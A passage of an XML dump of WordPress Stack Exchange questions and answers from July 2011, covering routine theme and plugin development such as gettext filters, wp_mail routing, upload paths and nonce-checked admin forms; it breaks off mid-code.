  <row Id="22401" PostTypeId="2" ParentId="19423" CreationDate="2011-07-08T14:00:43.193" Score="1" ViewCount="" Body="&lt;p&gt;What about using &lt;code&gt;wp_set_post_tags()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_post_tags&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) to modify the number of tags, and then hooking that into &lt;code&gt;save_post&lt;/code&gt; or &lt;code&gt;publish_post&lt;/code&gt; or wherever, as appropriate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_limit_post_tags( $post_id ) {&#xA;    // code to count/limit the number of tags&#xA;    // then pass the modified list of tags to wp_set_post_tags&#xA;    wp_set_post_tags( $post_id, $tags, false );&#xA;}&#xA;add_action( 'publish_post', 'mytheme_limit_post_tags' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-08T14:00:43.193" />
  <row Id="22402" PostTypeId="2" ParentId="22399" CreationDate="2011-07-08T14:34:13.150" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if (is_admin()) {&#xA;    add_action('init', 'better_howdy_h');&#xA;    add_action('admin_footer', 'better_howdy_f');&#xA;&#xA;    function better_howdy_h() {&#xA;        wp_enqueue_script('jquery');&#xA;    }&#xA;&#xA;    function better_howdy_f() {&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;    jQuery(document).ready(function(){&#xA;        var user = jQuery('#user_info div p').text();&#xA;        user = user.substr(7);&#xA;        jQuery('#user_info div p').html(&quot;Logged in as &quot;+user);&#xA;    });&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php &#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-08T14:34:13.150" />
  <row Id="22403" PostTypeId="1" AcceptedAnswerId="22404" CreationDate="2011-07-08T14:50:07.673" Score="1" ViewCount="57" Body="&lt;p&gt;Is there any reason for getting this error? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested a couple of installations so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion?&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-07-08T14:56:18.823" Title="Fatal error: Call to undefined function get_users()" Tags="&lt;users&gt;&lt;fatal-error&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22404" PostTypeId="2" ParentId="22403" CreationDate="2011-07-08T14:56:18.823" Score="1" ViewCount="" Body="&lt;p&gt;It's WordPress 3.1 function - so you're probably testing it on older versions.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-07-08T14:56:18.823" CommentCount="3" />
  <row Id="22405" PostTypeId="1" AcceptedAnswerId="22406" CreationDate="2011-07-08T15:01:07.243" Score="1" ViewCount="50" Body="&lt;p&gt;I'm trying to make a script that uploads a file to a specific folder in the wordpress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to upload to /uploads. However, in order to do this I need to know the server path for the wordpress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get this?&lt;/p&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2011-07-08T15:35:03.313" Title="Wordpress upload file - get path to wordpress installation" Tags="&lt;uploads&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="22406" PostTypeId="2" ParentId="22405" CreationDate="2011-07-08T15:04:15.773" Score="4" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_upload_dir&quot; rel=&quot;nofollow&quot;&gt;wp_upload_dir()&lt;/a&gt; for path to uploads, and use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_bloginfo&quot; rel=&quot;nofollow&quot;&gt;get_bloginfo()&lt;/a&gt; to get paths to the WP location&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-07-08T15:04:15.773" CommentCount="1" />
  <row Id="22407" PostTypeId="1" AcceptedAnswerId="25662" CreationDate="2011-07-08T15:07:56.117" Score="3" ViewCount="110" Body="&lt;p&gt;I'd like to be able to have a workflow that works like so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a post and assign it a password&lt;/li&gt;&#xA;&lt;li&gt;Have a single-field form on the home page&lt;/li&gt;&#xA;&lt;li&gt;User enters password on home page, and is sent to the corresponding post&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible?&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-08T15:13:22.677" LastActivityDate="2011-08-11T16:24:11.013" Title="Is it possible to direct users to a certain post based on a password entered on the home page?" Tags="&lt;posts&gt;&lt;password&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="3" />
  <row Id="22408" PostTypeId="2" ParentId="22391" CreationDate="2011-07-08T15:12:02.337" Score="1" ViewCount="" Body="&lt;p&gt;your site domain uses the www, but your images are all with paths &lt;a href=&quot;http://aviewtoathrill.net&quot; rel=&quot;nofollow&quot;&gt;http://aviewtoathrill.net&lt;/a&gt; (no www.). they are all returning 403 forbidden status codes, so my guess is that you have some sort of hotlink protection that is preventing your site from loading its own images due to this mismatch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - everything seems to work fine if I remove the www and browse that way. You should 301 redirect one to the other and just force one version of your url.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-07-08T15:21:41.503" LastActivityDate="2011-07-08T15:21:41.503" />
  <row Id="22409" PostTypeId="2" ParentId="22407" CreationDate="2011-07-08T15:12:15.860" Score="3" ViewCount="" Body="&lt;p&gt;Yes, but you'll need to hold the details of how a password maps to a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;store mappings somewhere, easiest as a hash/key-value pair (password-&gt;post_id)&lt;/li&gt;&#xA;&lt;li&gt;get password from field&lt;/li&gt;&#xA;&lt;li&gt;determine post_id, and construct the URL&lt;/li&gt;&#xA;&lt;li&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;wp_redirect()&lt;/a&gt; to redirect the user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-07-08T15:12:15.860" CommentCount="2" />
  <row Id="22410" PostTypeId="2" ParentId="22407" CreationDate="2011-07-08T15:12:38.920" Score="1" ViewCount="" Body="&lt;p&gt;I would do that with a plugin instead. The plugin could still share the password with the post and set the cookie appropriately so the page wouldn't be accessible w/o entering the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plugin because to have a manual mapping, the lookup which password belongs to which post would be really expensive without such a mapping. Not useful in a central location like the homepage.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-07-08T15:12:38.920" />
  <row Id="22411" PostTypeId="2" ParentId="22399" CreationDate="2011-07-08T15:22:42.437" Score="3" ViewCount="" Body="&lt;p&gt;Why fiddle around with jQuery when you could just run a filter on &lt;code&gt;gettext&lt;/code&gt; to specifically target that text? Perhaps you simply don't know you can do that, so here's how..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gettext', 'change_howdy_text', 10, 2 );&#xA;function change_howdy_text( $translation, $original ) {&#xA;    if( 'Howdy, %1$s' == $original )&#xA;        $translation = 'Logged in as %1$s';&#xA;    return $translation;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-08T15:22:42.437" CommentCount="4" />
  <row Id="22412" PostTypeId="2" ParentId="22341" CreationDate="2011-07-08T15:29:46.440" Score="0" ViewCount="" Body="&lt;p&gt;Essentially somewhere in that code one of function fails to do what it should and informs about that by returning object of &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Error&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Error&lt;/code&gt;&lt;/a&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_wp_error&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_wp_error()&lt;/code&gt;&lt;/a&gt; to check for such returns and methods of &lt;code&gt;WP_Error&lt;/code&gt; class to retrieve errors (and then echo them or something).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-08T15:29:46.440" />
  <row Id="22413" PostTypeId="2" ParentId="22405" CreationDate="2011-07-08T15:35:03.313" Score="2" ViewCount="" Body="&lt;p&gt;You can retrieve the path where Wordpress has been installed to from the &lt;code&gt;ABSPATH&lt;/code&gt; constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be available in your plugin/theme code, it is defined at the very &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-load.php&quot; rel=&quot;nofollow&quot;&gt;start of &lt;code&gt;wp-load.php&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/q/12047/178&quot;&gt;Using the ABSPATH constant - What files need to be loaded before use?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-07-08T15:35:03.313" />
  <row Id="22414" PostTypeId="2" ParentId="22381" CreationDate="2011-07-08T15:39:42.673" Score="0" ViewCount="" Body="&lt;p&gt;Further down on the page you linked to is this comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Similar views can be edited by hooking into 'views_' . $screen-&gt;id where $screen is the global $current_screen (or get_current_screen()). Draft, Pending, Mine and Sticky could all be removed in a similar manner.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you're editing a post, you're on the &quot;edit-post&quot; screen, so the action you use is &lt;code&gt;views_edit-post&lt;/code&gt;.  If you're working with a custom post type called &quot;gallery,&quot; the edit screen is &quot;edit-gallery&quot; and you'd hook into the &lt;code&gt;views_edit-gallery&lt;/code&gt; action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case I'd do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove__views( $views ) {&#xA;    unset($views['all']);&#xA;    unset($views['publish']);&#xA;    unset($views['trash']);&#xA;&#xA;    return $views;&#xA;}&#xA;&#xA;add_action( 'views_edit-post',  'remove_views' );&#xA;add_action( 'views_edit-movie', 'remove_views' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will remove &quot;all&quot;, &quot;publish&quot;, and &quot;trash&quot; from both posts and the custom post type &quot;movie.&quot;  Removing these views from other post types is as simple as adding the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_ection( 'views_edit-{post-type-slug}', 'remove_views' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just replace &lt;code&gt;{post-type-slug}&lt;/code&gt; with the name of your custom post type.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-07-08T15:39:42.673" CommentCount="1" />
  <row Id="22415" PostTypeId="1" AcceptedAnswerId="24735" CreationDate="2011-07-08T15:49:31.650" Score="1" ViewCount="34" Body="&lt;p&gt;I've been trying to get the TinyMCE editor working in the comments field but I've been unable to do so. Another suggestion I found was &lt;a href=&quot;http://nicedit.com&quot; rel=&quot;nofollow&quot;&gt;http://nicedit.com&lt;/a&gt;, the editor is working but the comments are not saved in rich text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TinyMCEComments seems to do it but hasn't been updated in a while, it's not working for 3.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anybody got this working? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-08-02T20:51:34.670" Title="Use rich text editor in comments?" Tags="&lt;comments&gt;&lt;tinymce&gt;" AnswerCount="1" />
  <row Id="22416" PostTypeId="1" AcceptedAnswerId="27020" CreationDate="2011-07-08T15:53:21.367" Score="0" ViewCount="76" Body="&lt;p&gt;There are several threads on Wordpress.org about this problem, but none with solutions. I just went from localhost (MAMP) to a live server (Dreamhost) and I'm getting constant 404s when submitting actions (such as changing a title) or trying to load pages in the admin (such as post/page/cpt lists).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is WP is running up against memory limits (see support message below). What is the best systematic way to evaluate/troubleshoot memory use in the WP admin? Plugins tend to be implicated in this sort of problem; are there any other usual suspects?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`I've checked into why you've&#xA;been receiving these 404 errors, and it seems your scripts have been&#xA;getting automatically killed by our Process Watcher script due to your&#xA;site(s) going over Memory limits on the shared server.&#xA;&#xA;2011-07-08 08:53:59 procwatch2 INFO: Process(pid=12921, name='php5.cgi',&#xA;uid=_, tty=None, cpu=17.5, rss=155764.0, vsize=264456.0): kill&#xA;for total RAM&#xA;2011-07-08 08:54:19 procwatch2 INFO: Process(pid=13248, name='php5.cgi',&#xA;uid=_, tty=None, cpu=29.8, rss=197348.0, vsize=305212.0): kill&#xA;for total RAM&#xA;2011-07-08 08:54:40 procwatch2 INFO: Process(pid=13253, name='php5.cgi',&#xA;uid=_, tty=None, cpu=39.9, rss=197376.0, vsize=305188.0): kill&#xA;for total RAM`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3564" LastEditorUserId="3564" LastEditorDisplayName="" LastEditDate="2011-07-08T18:48:53.457" LastActivityDate="2011-08-27T06:19:22.747" Title="How to troubleshoot 404s in Wordpress admin" Tags="&lt;wp-admin&gt;&lt;404-error&gt;&lt;memory&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="22417" PostTypeId="1" CreationDate="2011-07-08T15:58:47.210" Score="0" ViewCount="19" Body="&lt;p&gt;I am currently posting from the front end using a similar model as &lt;a href=&quot;http://voodoopress.com/2011/03/review-of-posting-from-front-end-form/&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com/2011/03/review-of-posting-from-front-end-form/&lt;/a&gt;.  I want to send an email to certain addresses based on the value of the &quot;problem_type&quot; field.  This is what I have so far.  This does not send anything at all, but I am at a dead end.  Ideas?  I only need 3 different emails.  1 if value is computers, 1 if value is phones, and every other value can be sent to a 3rd email address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_post_creation_email($pid) {&#xA;    $problem_type = get_post_meta($pid, 'problem_type', true);&#xA;    $description = 'post_content';&#xA;&#xA;    if ($problem_type == 'phones') {&#xA;        $to = '1st email here';&#xA;    } elseif ($problem_type == 'computers') {&#xA;        $to = '2nd email here';&#xA;    } else {&#xA;        $to = '3rd email here';&#xA;    }&#xA;&#xA;    $subject = &quot;New Ticket in ' . echo get_post_meta($pid, 'problem_type', true) . &quot;;&#xA;    $message = &quot;A user profile has been updated\n\n&quot;;&#xA;    $message .= print_r($description,true);&#xA;    @wp_mail( $to, $subject, $message);&#xA;}&#xA;&#xA;add_action('wp_insert_post','new_post_creation_email');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously the &quot;1st email here&quot; etc have been replaced with text email addresses in the real code.&lt;/p&gt;&#xA;" OwnerUserId="6871" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-07-08T16:07:28.547" LastActivityDate="2011-08-08T13:20:58.237" Title="Conditional wp_mail statement on post" Tags="&lt;notifications&gt;&lt;wp-insert-post&gt;&lt;wp-mail&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22418" PostTypeId="2" ParentId="22417" CreationDate="2011-07-08T16:13:57.527" Score="0" ViewCount="" Body="&lt;p&gt;Here are a couple of things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You're mixing ' and &quot; in a very bad way!&lt;/li&gt;&#xA;&lt;li&gt;You're &lt;code&gt;echo&lt;/code&gt;ing inside a string.  Don't do that.&lt;/li&gt;&#xA;&lt;li&gt;You're silencing any errors on the &lt;code&gt;wp_mail&lt;/code&gt; function, so if WordPress is giving you an error you'll never see it!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;First, fix your ' and &quot; problem.  Your &lt;code&gt;$subject&lt;/code&gt; definition should read like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$subject = &quot;New Ticket in &quot; . get_post_meta($pid, 'problem_type', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fix also fixes the &lt;code&gt;echo&lt;/code&gt; problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, remove the &lt;code&gt;@&lt;/code&gt; from in front of &lt;code&gt;wp_mail&lt;/code&gt; and turn on &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;WP_DEBUG&lt;/a&gt; in your config files so you can see any errors that crop up.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-07-08T16:13:57.527" CommentCount="1" />
  <row Id="22419" PostTypeId="1" CreationDate="2011-07-08T16:14:34.577" Score="0" ViewCount="24" Body="&lt;p&gt;I have a specific category in which I'm displaying an index of posts belonging to this category. There will be lots of posts in this category so the site owner has the option to limit the index view to the latest &quot;n&quot; number of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a piece of code in archive.php that looks for this category and when found, executes the get_index_links() function below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to incorporate a paging feature to give the viewer the option to click a link at the botton of the index in order to retrieve the previous &quot;n&quot; number of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that I might need to employ a child template or a &quot;Get&quot; parameter to seed my query that retrieves the posts but I'm sure there are other ways too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has an example or outline of how to accomplish this, I'd really appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code. It does everything except paging...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_index_links(){&#xA;    $hasChildCats = get_term(get_query_var( 'cat' ), 'category');&#xA;    if($hasChildCats-&amp;gt;count &amp;lt;= 0) return;&#xA;    global $post;&#xA;    $args = array('numberposts' =&amp;gt; get_option('index_count'));&#xA;    $indexPosts = get_posts($args);echo '&amp;lt;div class=&quot;index&quot;&amp;gt;'; &#xA;    echo '&amp;lt;ul&amp;gt;'; &#xA;    foreach($indexPosts as $idx=&amp;gt;$post){ ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php &#xA;    setup_postdata($post);&#xA;    echo '&amp;lt;div&amp;gt;Posted on: '.get_the_date().' By: '.get_the_author().'&amp;lt;/div&amp;gt;';&#xA;&#xA;    get_index_excerpt();//see function below&#xA;&#xA;    if(has_post_thumbnail() &amp;amp;&amp;amp; get_option('show_thumbs')) echo '&amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;';?&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php } echo '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;&#xA;function get_index_excerpt(){&#xA;    add_filter('excerpt_length', 'index_excerpt_length');   &#xA;    if(has_excerpt())&#xA;    {&#xA;        $excerptLength = get_option('index_summaries_length') =='' ? '100' : get_option('index_summaries_length');&#xA;&#xA;        $words = explode(' ', get_the_excerpt()); &#xA;            if (count($words) &amp;gt; $excerptLength) &#xA;            {&#xA;                return '&amp;lt;div class=&quot;index-entry&quot;&amp;gt;'.implode(' ', array_slice($words, 0, $excerptLength)).&quot; [...]&amp;lt;/div&amp;gt;&quot;;&#xA;            }&#xA;            else&#xA;            {&#xA;                return '&amp;lt;div class=&quot;index-entry&quot;&amp;gt;'.get_the_excerpt().'&amp;lt;/div&amp;gt;';&#xA;            }&#xA;        }&#xA;    else&#xA;    {&#xA;    global $post;&#xA;    setup_postdata($post);&#xA;    echo '&amp;lt;div class=&quot;index-entry&quot;&amp;gt;'.get_the_excerpt().'&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    }&#xA;&#xA;function index_excerpt_length($length) {&#xA;    $excerptLength = '100';&#xA;    //more logic to come&#xA;    return $excerptLength;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-08T16:14:34.577" Title="How to enable paging with a custom loop of a category's posts" Tags="&lt;theme-development&gt;" />
  <row Id="22420" PostTypeId="1" AcceptedAnswerId="22421" CreationDate="2011-07-08T16:19:29.410" Score="-1" ViewCount="27" Body="&lt;p&gt;I am creating a plugin in which I will need to display content on a page. I have seen plugins that allow an administrator to put something like [display-content] in the visual editor which displays the plugin content to a website visitor. How is this done?&lt;/p&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2011-07-08T16:20:34.743" Title="Plugin to Display Content on Page" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="22421" PostTypeId="2" ParentId="22420" CreationDate="2011-07-08T16:20:34.743" Score="1" ViewCount="" Body="&lt;p&gt;With the &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;Shortcode API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-08T16:20:34.743" CommentCount="1" />
  <row Id="22422" PostTypeId="1" CreationDate="2011-07-08T16:55:07.067" Score="0" ViewCount="24" Body="&lt;p&gt;I'm using Wordpress 3.2's wp_nav_menu() function, which displays, by default, the children of an item by hovering the parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'd like to show both children and grandchildren when I hover the parent, how would I do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="6872" LastActivityDate="2011-07-08T16:55:07.067" Title="How to show 2nd and 3rd menu levels at once in Wordpress" Tags="&lt;menus&gt;&lt;wordpress.org&gt;" CommentCount="1" />
  <row Id="22423" PostTypeId="1" CreationDate="2011-07-08T17:01:23.147" Score="0" ViewCount="70" Body="&lt;p&gt;It's starting to seem like nobody knows how to do this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I PHP code to grab the first link from a post so I can display it in my excerpts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need a similar code to grab the first blockquote (this should be compatible with the cite code also).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding CSS classes to these codes would be a big help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know what you're thinking, &quot;Why not just use the_content and call it good?&quot; Because I want to be able to &lt;em&gt;really&lt;/em&gt; customize these excerpts through and through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, help me out smarter folks!  This will be used in a free WP theme which will have the option to support post formats.  If you want to know when that launches just follow me on twitter @lucaswynne&lt;/p&gt;&#xA;" OwnerUserId="6565" LastEditorUserId="6565" LastEditorDisplayName="" LastEditDate="2011-07-08T20:32:24.367" LastActivityDate="2011-07-09T16:43:23.473" Title="Grab First Link From A Post, Grab First Blockquote" Tags="&lt;posts&gt;&lt;php&gt;&lt;excerpt&gt;&lt;post-formats&gt;&lt;the-excerpt&gt;" AnswerCount="0" CommentCount="6" />
  <row Id="22424" PostTypeId="1" CreationDate="2011-07-08T17:13:29.453" Score="0" ViewCount="22" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://thethefly.com/wp-plugins/thethe-tabs-and-accordions/&quot; rel=&quot;nofollow&quot;&gt;http://thethefly.com/wp-plugins/thethe-tabs-and-accordions/&lt;/a&gt; on an intranet blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[toggles title=&quot;Toggle Group Title&quot; active=1 speed=500 style=&quot;blank&quot;]&#xA;    [toggle title=&quot;First toggle title&quot;]&#xA;        &amp;lt;a name=content1&amp;gt;First toggle text&amp;lt;/a&amp;gt;&#xA;             CONTENT 1&#xA;    [/toggle]&#xA;    [toggle title=&quot;Second toggle title&quot;]&#xA;        &amp;lt;a name=content1&amp;gt;First toggle text&amp;lt;/a&amp;gt;&#xA;            CONTENT 2&#xA;    [/toggle]&#xA;[/toggles]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like also to allow direct access to content 2 through&#xA;&lt;a href=&quot;http://mydomain.com/#content2&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/#content2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible somehow to trigger content 2 tab to auto-activate when using above link ?&lt;/p&gt;&#xA;" OwnerUserId="6873" LastActivityDate="2011-07-08T17:13:29.453" Title="How to activate a plugin tab using # in url" Tags="&lt;plugins&gt;" />
  <row Id="22425" PostTypeId="1" CreationDate="2011-07-08T17:23:24.563" Score="0" ViewCount="222" Body="&lt;p&gt;I would like to add additional options like footer text to the Twentyeleven options page via child theme. I know how to create theme option page but if possible I would like to use the one that comes with Twenty Eleven. If not how can I unhook this option page and create my own?&lt;/p&gt;&#xA;" OwnerUserId="6874" LastActivityDate="2011-07-08T17:32:58.143" Title="Is there a function to add additional options to the Twentyeleven option page?" Tags="&lt;theme-options&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22426" PostTypeId="2" ParentId="22394" CreationDate="2011-07-08T17:30:33.060" Score="0" ViewCount="" Body="&lt;p&gt;I've finally found my fault. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;problem&quot; with &lt;code&gt;Zend_View&lt;/code&gt; and &lt;code&gt;Zend_Form&lt;/code&gt; is, that you have to check and save the submitted settings by yourself. But if you register a sanitize hook with &lt;code&gt;register_setting()&lt;/code&gt;, WordPress will indeed not return any &lt;code&gt;$_POST&lt;/code&gt; array and will immediatly submit the data to the defined option in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was to remove the call to &lt;code&gt;register_setting()&lt;/code&gt; completely. I've also removed the call to &lt;code&gt;settings_field()&lt;/code&gt; and set the hidden fields manually in the &lt;code&gt;Zend_Form&lt;/code&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form = new Zend_Form();&#xA;$form-&amp;gt;setAction('options.php?page=' . $this-&amp;gt;getMenuSlug())&#xA;     -&amp;gt;setMethod('post');&#xA;&#xA;$wpnonce = $form-&amp;gt;createElement('hidden', '_wp_nonce');&#xA;$wpnonce-&amp;gt;setValue(wp_create_nonce($this-&amp;gt;getMenuSlug()));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The method &lt;code&gt;$this-&amp;gt;getMenuSlug()&lt;/code&gt; will return the id of the current generate admin page used in &lt;code&gt;add_page_menu()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last part was to do the form validation before echoing the &lt;code&gt;Zend_View&lt;/code&gt; object. This is done in the &lt;code&gt;renderView()&lt;/code&gt; method, which will be called as callback in &lt;code&gt;add_menu_page()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function renderView() {&#xA;    try {&#xA;        if($_POST['submit']) {&#xA;            // Check wp nonce&#xA;            if(!wp_verify_nonce($_POST['_wp_nonce'], $this-&amp;gt;getMenuSlug())) {&#xA;                wp_die(__('Nonce incorrect!'));&#xA;            } else {&#xA;                if($this-&amp;gt;_form-&amp;gt;isValid($_POST)) {&#xA;                    echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;' . __('Settings saved.') . '&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;                    foreach ($this-&amp;gt;_form-&amp;gt;getElements() as $element) {&#xA;                        if(in_array($element-&amp;gt;getName(), $this-&amp;gt;_skipElements)) {&#xA;                            continue;&#xA;                        }&#xA;&#xA;                        Webeo_Option::getInstance()-&amp;gt;setValue($element-&amp;gt;getName(), $element-&amp;gt;getValue());&#xA;                    }&#xA;&#xA;                    Webeo_Option::getInstance()-&amp;gt;commit();&#xA;                } else {&#xA;                    echo '&amp;lt;div id=&quot;message&quot; class=&quot;error fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;' . __('Errors occured.') . '&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        echo $this-&amp;gt;_form-&amp;gt;render($this-&amp;gt;_view);&#xA;        //echo $this-&amp;gt;_view-&amp;gt;render($this-&amp;gt;getViewTemplate());&#xA;    } catch (Zend_View_Exception $e) {&#xA;        echo $e-&amp;gt;getMessage();&#xA;    